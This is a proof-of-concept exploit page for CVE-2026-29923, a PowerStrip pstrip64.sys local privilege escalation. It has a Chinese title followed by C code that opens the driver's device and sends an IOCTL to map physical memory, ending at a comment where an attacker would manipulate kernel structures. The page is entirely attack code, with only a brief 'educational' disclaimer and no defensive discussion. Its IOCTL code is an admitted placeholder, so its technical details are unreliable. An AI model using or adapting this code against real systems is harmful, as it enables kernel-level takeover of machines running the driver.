CVE-2026-29923 PowerStrip本地权限提升漏洞

/* * PoC for CVE-2026-29923 - PowerStrip pstrip64.sys Privilege Escalation * This code demonstrates how to send a malicious IOCTL to map physical memory. * WARNING: For educational purposes only. */ #include <windows.h> #include <stdio.h> #define DEVICE_NAME "\\\\.\\PStrip64" // IOCTL code may vary, this is a placeholder for the vulnerable control code #define IOCTL_MAP_PHYSICAL_MEMORY 0x222003 typedef struct _PHYSICAL_MEMORY_RANGE { UINT64 PhysicalAddress; SIZE_T Size; } PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; int main() { HANDLE hDevice = INVALID_HANDLE_VALUE; DWORD bytesReturned = 0; PHYSICAL_MEMORY_RANGE inputBuffer; PVOID mappedAddress = NULL; printf("[*] Attempting to open device %s...\n", DEVICE_NAME); hDevice = CreateFileA( DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device opened successfully.\n"); // Attempt to map physical memory (e.g., HAL heap or EPROCESS) inputBuffer.PhysicalAddress = 0x1000; // Example target address inputBuffer.Size = 0x1000; printf("[*] Sending IOCTL to map physical memory at 0x%llx...\n", inputBuffer.PhysicalAddress); BOOL result = DeviceIoControl( hDevice, IOCTL_MAP_PHYSICAL_MEMORY, &inputBuffer, sizeof(inputBuffer), &mappedAddress, sizeof(mappedAddress), &bytesReturned, NULL ); if (result) { printf("[+] IOCTL successful! Memory mapped at: 0x%p\n", mappedAddress); // Here an attacker would manipulate kernel structures } else { printf("[-] IOCTL failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }